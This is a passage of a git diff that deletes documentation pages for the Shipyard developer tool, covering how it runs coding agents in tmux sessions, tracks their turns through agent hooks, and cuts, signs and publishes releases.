- browser, across worktrees and boxes.
-- **Handshake flooding.** Pairing is rate limited; TLS handshakes are not.
-- **Not yet reviewed independently.** The pairing protocol and the surface
- before authentication should have an outside review before teammates rely
- on them.
-- **One person per box.** Team sharing (one box used by several people, and
- granting and revoking their access beyond per-laptop pairing), Windows,
- and dropping the proxy port with a privileged helper are open.
-
-Ready to pair? [Add a box](/docs/getting-started/add-a-box).
diff --git a/apps/shipyard/content/docs/concepts/sessions-and-agents.mdx b/apps/shipyard/content/docs/concepts/sessions-and-agents.mdx
deleted file mode 100644
index b7b4a0dd6..000000000
--- a/apps/shipyard/content/docs/concepts/sessions-and-agents.mdx
+++ /dev/null
@@ -1,239 +0,0 @@
----
-title: Sessions and agents
-description: Programs that run on the box in tmux, the agents in them, and how Shipyard knows what they need.
----
-
-A **session** is a program running on a box, an **agent** is a coding agent
-running in one, and a **task** is a worktree made with an agent already
-running in it.
-
-## Sessions
-
-A **session** runs a program, usually a coding agent, at a location or
-worktree, in Shipyard's own tmux server with `remain-on-exit`. Sessions keep
-running when nobody is attached, when the laptop sleeps, and when berthd
-restarts or upgrades.
-
-```sh
-berth session new devl/shop/checkout --agent claude --prompt "…" # an agent
-berth session new devl/shop/checkout -- pnpm test --watch # any command
-berth session new devl/shop/checkout # a shell
-berth sessions devl
-berth session rename devl/SESSION "Fix checkout webhook"
-berth session kill devl/SESSION
-```
-
-A session also has a **title**, which is what the app calls it: the first
-line of the prompt it started with ("Fix checkout webhook"), cut to about
-48 characters, with the agent beside it ("Fix checkout webhook · Claude
-Code"). A session started without a prompt takes the title of the first
-prompt it gets, sent through Shipyard or typed into the agent. The title is a
-tmux option (`@berth_title`). Rename it
-with `berth session rename`, `--title` on `session new` and `task new`, or
-the tab's menu in the app.
-
-A session's command, with the first prompt in it, is kept in a file only
-you can read (`/commands/.cmd`), which the session's login
-shell runs; it goes when the session does. A prompt can be long (a request
-up to 2 MB): it never goes on tmux's command line, which takes about 16 KB.
-The agent itself gets its first prompt as one argument, which Linux caps at
-128 KB and macOS at about 1 MB, so a longer one is refused up front; send
-the rest once the agent runs, as a paste of any length, or attach it as a
-file.
-
-A session is named after where it runs and what it runs
-(`shop-checkout-claude-…`) unless you pass `--name`. Its environment is the
-worktree's: ports, `BERTH_*` variables and the project's `env`, plus
-`BERTH_SESSION` (the session's name) and, for an agent preset, `BERTH_AGENT`
-(the preset's id). The agent's hooks pass `BERTH_SESSION` back, so Shipyard
-knows which session they come from even when several agents share a
-worktree. Shipyard also keeps the preset with the session, so an agent started
-from a preset whose command wraps it (`env FOO=1 claude`, `npx …`) is still
-known as that agent.
-
-### Sessions clean up after themselves
-
-What a session's program starts (a repository's Playwright tests and their
-browsers, a dev server, a watcher) goes when Shipyard ends the session, even
-what was started in the background or detached itself from the terminal.
-
-- **On Linux with systemd**, each new session runs in a transient scope of
- its own (`berth-SESSION-….scope` under your systemd user manager), a cgroup
- that holds everything it starts. Ending the session stops the scope:
- `SIGTERM` to everything in it, then `SIGKILL` after 10 seconds. The scope
- belongs to your user manager, not to berthd, so sessions outlive berthd's
- restarts and upgrades as before. Its cgroup also says what the session
- uses, which `berth sessions BOX --json` shows as `usage`.
-- **Elsewhere** (macOS, a container without systemd, and sessions started
- before this), Shipyard stops what it finds for the session when it ends
- it: its terminal's processes and their children and, on Linux, processes
- that left that tree but still carry the session's `BERTH_SESSION` and
- Shipyard's own tmux server in their environment.
-- **Nothing else** is touched: your own tmux, terminals and processes have
- neither the scope nor the marker.
-
-A box can hold each session under a **memory limit** (Settings → Boxes,
-**Browsers and sessions**; `session_memory_gb` in the box's
-[`guard.json`](/docs/guides/resource-guard)). It needs the scopes above. It is
-systemd's `MemoryHigh`: near it, the kernel reclaims the session's memory
-and slows it down, and Shipyard says so in its chat and on its tab ("using
-11.8 GB, near its 12 GB limit"), with a notification. Nothing is stopped for
-it. A new limit applies to running sessions at once.
-
-The app shows each session as a terminal (ghostty-web) in the worktree's
-workspace, beside other terminals, splits and browser tabs. Laptops attach
-through a framed terminal stream (keystrokes and resizes in, screen out), or
-read the screen without attaching:
-
-```sh
-berth attach devl/SESSION # this terminal; Ctrl-b d detaches
-berth terminal devl/SESSION # a new terminal window
-berth session screen devl/SESSION --history 200
-```
-
-## Tasks
-
-A **task** is a worktree with an agent already running in it, made in one
-request, so a hook, the app or another agent can hand off work in a single
-step:
-
-```sh
-berth task new devl/shop/checkout --agent claude --prompt "Fix the checkout page"
-```
-
-In the app this is **New worktree** (⌘N) with an agent chosen. It runs
-`before:task.create`, then the worktree's and the session's own gates, and
-announces `task.created`.
-
-## Agents
-
-An agent is a preset: an id, a name and a command. The box offers each
-built-in whose command it finds on its `PATH` (ids `claude`, `codex`,
-`opencode`, `gemini`, and `cursor`, which runs `cursor-agent`), plus any a
-repository's config adds or replaces. `berth agents BOX` lists the
-built-ins the box has; a repository's own presets come with its location
-(`agents` in `berth locations BOX --json`).
-A first prompt is passed as the command's last argument, or after its
-`prompt_flag`. See [the config reference](/docs/reference/config#agents).
-
-### Agent state
-
-Shipyard knows what an agent is doing from the agent's own hooks, which
-`berthd install` sets up for the agent CLIs it finds on the box (later,
-`berthd integrations install claude`, or `codex`, `cursor`, `gemini`,
-`opencode`, `all`; an upgrade brings hooks Shipyard installed before up to
-date):
-
-| State | In the app | Meaning | From |
-| --- | --- | --- | --- |
-| `idle` | Idle | Open, at its prompt, not given anything yet | `agent.ready` |
-| `running` | Working | Working on a prompt | `agent.started` |
-| `waiting` | Needs you | A permission, a question | `agent.waiting` |
-| `finished` | Done | Done with its turn | `agent.finished` |
-| `exited` | Ended | The agent itself quit | `agent.exited` |
-
-A session whose program has ended is `exited`, and the app calls it
-**ended** everywhere: the sidebar, tabs, panes, the dashboard, zen, ⌘K and
-notifications use the same words and the same glyph (a blue spinner while
-working, an amber dot when it needs you, a check when done, a grey ring when
-idle, a grey dot once ended). An ended agent takes no input: sending to one
-fails with the code `session_exited` instead of typing into a dead pane, and
-the app offers to start it again or hand its work on rather than to send.
-While its box is offline the app doesn't guess: the pane says the box is
-away and comes back by itself. Shipyard also notices Claude
-Code's "trust this folder" question at startup and reports it as `waiting`.
-Claude Code's reminder a minute after a finished turn (`idle_prompt`) and its
-login notice are not questions, so they never read as `waiting`; after you
-approve a permission, the tool it allowed running says the agent is working
-again.
-
-### Turns
-
-A **turn** is one prompt to the end of the agent's reply. The box keeps a
-ledger of every agent session's turns, numbered in the order things happened
-(not by anyone's clock), and everything that waits for an agent waits for a
-turn: `session send --wait`, loops, flows, the app's broadcast.
-
-```sh
-berth session send devl/SESSION "Rebase on main" --json # {"turn":"SESSION#4","seq":812,…}
-berth session wait devl/SESSION --turn 'SESSION#4' # until that turn ends
-berth session turns devl/SESSION # the last ten
-```
-
-- A prompt sent while the agent is mid-turn gets its own turn, which starts
- when the agent takes it up: the turn it was already in ending does not end
- yours.
-- A turn is `queued` (held until the agent is idle), `pending` (sent, not
- started), `running`, `waiting`, `finished`, `exited` or `lost` (open when
- berthd restarted and nothing could settle it, or sent but never started
- after two minutes with its agent idle: the agent read two prompts as one,
- or dropped it; its status says `never started`).
-- Each turn says who prompted it (`laptop:`, `flow:`, `phone`,
- `terminal` for a person at the terminal) and how often it waited for you.
- When Claude Code asks for a permission, its `PermissionRequest` hook says
- which tool and with what: the wait keeps the tool, a short summary of the
- input (the command, or the file's path, never what it would write, at
- most 300 characters) and Claude's reason, and the session shows it as
- `ask` while it waits. This stays in the box's private ledger: it is never
- put in events, the journal or hooks.
-- Prompts held with `--when idle` are listed by `GET
- /v1/sessions/{name}/queue` (and counted as the session's `queued`); one can
- be cancelled, or sent at once.
-- Agents sharing a worktree keep their own turns. An older hook that names
- only a folder counts for the one agent of its kind there; when there are
- several, it is recorded but ends no one's wait.
-
-**Fidelity** says how well Shipyard knows a turn's edges: `hooks` (the agent
-said when it started and ended), `partial` (the agent cannot say when it
-starts, so its turn starts when Shipyard sends the prompt) or `screen` (no hooks
-reported: Shipyard reads the terminal every two seconds, and a screen that stops
-changing ends the turn).
-
-| Agent | Ready | Started | Waiting | Finished | Through |
-| --- | --- | --- | --- | --- | --- |
-| Claude Code | ✓ | ✓ | ✓ | ✓ | hooks in `~/.claude/settings.json` |
-| Codex | ✓ | ✓ | ✓ | ✓ | hooks in `~/.codex/hooks.json` (trust them once with `/hooks`); older versions report only `finished`, through `notify` |
-| Cursor Agent | ✓ | ✓ | screen | ✓ | hooks in `~/.cursor/hooks.json` |
-| Gemini CLI | ✓ | ✓ | ✓ | ✓ | hooks in `~/.gemini/settings.json` |
-| OpenCode | | ✓ | ✓ | ✓ | a plugin in `~/.config/opencode/plugin/berth.js` |
-| anything else | screen | screen | screen | screen | the terminal |
-
-The box lists these as `adapters` in `GET /v1/info`, with `capabilities`
-`["turns","journal"]` when it keeps turns.
-
-Hooks reach berthd through its socket in milliseconds. While berthd is down
-(an upgrade, a restart), a hook is kept in `~/.berth/box/spool/` and
-published, in order, when berthd starts, so an agent that finished meanwhile
-does not read as working forever.
-
-The hooks forward only identifiers and the working directory: prompts,
-messages and transcripts never leave the tool. The one exception is the
-summary of a permission request above, which only berthd's own ledger
-keeps. A hook never fails or blocks
-the agent that called it.
-
-### In the app
-
-- **Agent Dashboard** (⌘J): every agent on every box, by what it needs:
- **Needs you**, **Working**, **Done**, **Ready**.
-- **Review**: agents' finished work on every box, to approve, send back or
- discard.
-- **Notifications**: when an agent waits for you, on this laptop, and on your
- phone with the [phone companion](/docs/guides/phone).
-
-## Driving agents
-
-Anything that can run a command can prompt an agent, wait for its turn to
-end, and check its work, including another agent:
-
-```sh
-berth session send devl/SESSION "Rebase on main" --wait # waits for this prompt's turn
-berth session send devl/SESSION "Then the docs" --when idle # held until the agent is idle
-berth session wait devl/SESSION --for finished,waiting
-berth exec devl/shop/checkout -- pnpm test
-```
-
-Shipyard never types into an agent that is waiting for you unless told to
-(`--force`): an Enter at a permission prompt would pick an answer for you.
-
-See [orchestration](/docs/guides/orchestration).
diff --git a/apps/shipyard/content/docs/contributing/meta.json b/apps/shipyard/content/docs/contributing/meta.json
deleted file mode 100644
index 7a7019cbb..000000000
--- a/apps/shipyard/content/docs/contributing/meta.json
+++ /dev/null
@@ -1 +0,0 @@
-{ "title": "Contributing", "pages": ["releasing"] }
diff --git a/apps/shipyard/content/docs/contributing/releasing.mdx b/apps/shipyard/content/docs/contributing/releasing.mdx
deleted file mode 100644
index 48e55f860..000000000
--- a/apps/shipyard/content/docs/contributing/releasing.mdx
+++ /dev/null
@@ -1,198 +0,0 @@
----
-title: Releasing
-description: How a Shipyard release is cut, built, signed and published, from a tag or from a Mac.
----
-
-For maintainers. A release is a GitHub release on
-[cosscom/shipyard](https://github.com/cosscom/shipyard/releases), cut by
-pushing a `v*` tag. CI builds everything from the tag; a Mac with the signing
-credentials can publish the app itself instead with `make publish`.
-
-## What a release carries
-
-No asset name carries a version, so
-`https://github.com/cosscom/shipyard/releases/latest/download/`
-always finds the newest. The version is stamped into each binary instead
-(`berthd version`, `berth version`).
-
-| Asset | Made by | Used by |
-| --- | --- | --- |
-| `berthd--.tar.gz` | `make release` | The [install command](/docs/getting-started/add-a-box#with-the-install-command) on a box |
-| `berth--.tar.gz` | `make release` | [The CLI without the app](/docs/getting-started/install#the-cli-without-the-app): `berth` and the Linux daemons |
-| `checksums.txt` | `make release` | The install command checks its download against it |
-| `Berth-macos-universal.dmg` | `scripts/mac-release.sh` | [The download](/docs/getting-started/install#install-the-app) |
-| `Berth-macos-universal.app.tar.gz`, `.sig` | `scripts/mac-release.sh` | The app's updater: the new app and its signature |
-| `Berth-linux-x86_64-alpha.AppImage`, `.sig` | `scripts/linux-release.sh` | [Linux (alpha)](/docs/getting-started/install#linux-alpha): the download, and the updater's signature for it |
-| `Berth-linux-x86_64-alpha.deb` | `scripts/linux-release.sh` | Linux (alpha) on Debian and Ubuntu |
-| `latest.json` | `scripts/mac-release.sh`, then `scripts/merge-feed.py` | The feed installed apps check for [updates](/docs/getting-started/install#updates): `darwin-*` from the Mac job, `linux-x86_64*` merged in by the feed job |
-
-`-` is `linux-amd64`, `linux-arm64`, `darwin-arm64` or
-`darwin-amd64`. The landing page's `https://berthd.app/install` is
-[`site/install.sh`](https://github.com/cosscom/shipyard/blob/main/site/install.sh),
-which downloads from the latest release.
-
-## Full release checks
-
-The bugs new users hit showed only on a fresh install of the release: the
-release CSP blocking the built-in plugins, launchd's PATH without Homebrew's
-tmux, no `PORT` for worktree servers, App Transport Security blocking the
-Browser tab, tmux 3.7 without a locale. A set of tests goes through Shipyard the
-way a new user meets it. They aren't part of releasing: run them by hand
-now and then, for instance before a release that changes installing,
-onboarding or upgrading:
-
-```sh
-make release-check # builds HEAD, as committed, in a clean checkout, then tests it
-make release-check REF=1a2b3c4 # another commit; DIRTY=1 tests uncommitted changes instead
-make release-check UNIVERSAL=1 # both architectures, as the release workflow builds it
-make release-check DMG=path FROM=v0.3.0 # a dmg already built from HEAD; upgrade from another release
-```
-
-Uncommitted changes in your checkout are never tested by accident: the
-build happens in `dist/release-test/check-
- 
-
- 
-
- 
-
- 
-
- 
-
- 
-
- 
-
- 
-
-